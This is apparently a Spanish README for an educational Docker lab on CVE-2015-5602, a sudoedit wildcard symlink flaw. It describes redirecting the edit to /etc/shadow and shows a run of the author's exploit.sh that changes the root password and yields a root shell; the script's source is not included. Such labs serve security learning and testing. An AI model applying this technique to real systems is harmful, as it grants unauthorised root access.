
Sudo <= 1.8.14: escalada de privilegios local y contenedor vulnerable
Sudo (su "do") permite a un administrador del sistema otorgar a ciertos usuarios (o grupos de usuarios) la capacidad de ejecutar algunos (o todos) los comandos como root mientras registra todos los comandos y argumentos.
Para configurar un entorno vulnerable para tu prueba necesitarás Docker instalado, y simplemente ejecuta el siguiente comando:
docker build -t privesc/cve-2015-5602 .
docker run --rm -it privesc/cve-2015-5602
Y esto generará un shell interactivo con privilegios de usuario limitados.
El fallo se encontró en sudoedit, que no verifica la ruta completa si se usa un comodín dos veces (p. ej. /home/*/*/esc.txt); esto permite a un usuario malintencionado reemplazar el archivo real esc.txt con un enlace simbólico a una ubicación diferente (p. ej. /etc/shadow).
Explotar este problema con éxito puede permitir a un atacante manipular archivos y obtener privilegios de root en el sistema anfitrión mediante ataques de enlaces simbólicos.
Para explotar este objetivo simplemente ejecuta:
./exploit.sh
Si estás usando esta imagen vulnerable, puedes simplemente ejecutar:
user@1cc9cd901b07:~$ sudo -l
User user may run the following commands on 1cc9cd901b07:
(root) NOPASSWD: sudoedit /home/*/*/esc.txt
user@1cc9cd901b07:~$ ./exploit.sh
[+] CVE-2015-5602 exploit by t0kx
[+] Creating folder...
[+] Creating symlink
[+] Modify EDITOR...
[+] Change root password to: d03c09dc34c53657aff1f459a86b20ed
[+] Done
user@1cc9cd901b07:~$ su
Password:
root@1cc9cd901b07:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@1cc9cd901b07:/home/user#
Este fallo fue encontrado por Daniel Svartman.
Este programa o los programas anteriores son SOLO con fines educativos. No lo uses sin permiso. Se aplica el descargo de responsabilidad habitual, especialmente el hecho de que yo (t0kx) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o la funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO asume responsabilidad por el contenido o el mal uso de estos programas o cualquier derivado de los mismos. Al usar estos programas aceptas el hecho de que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de t0kx.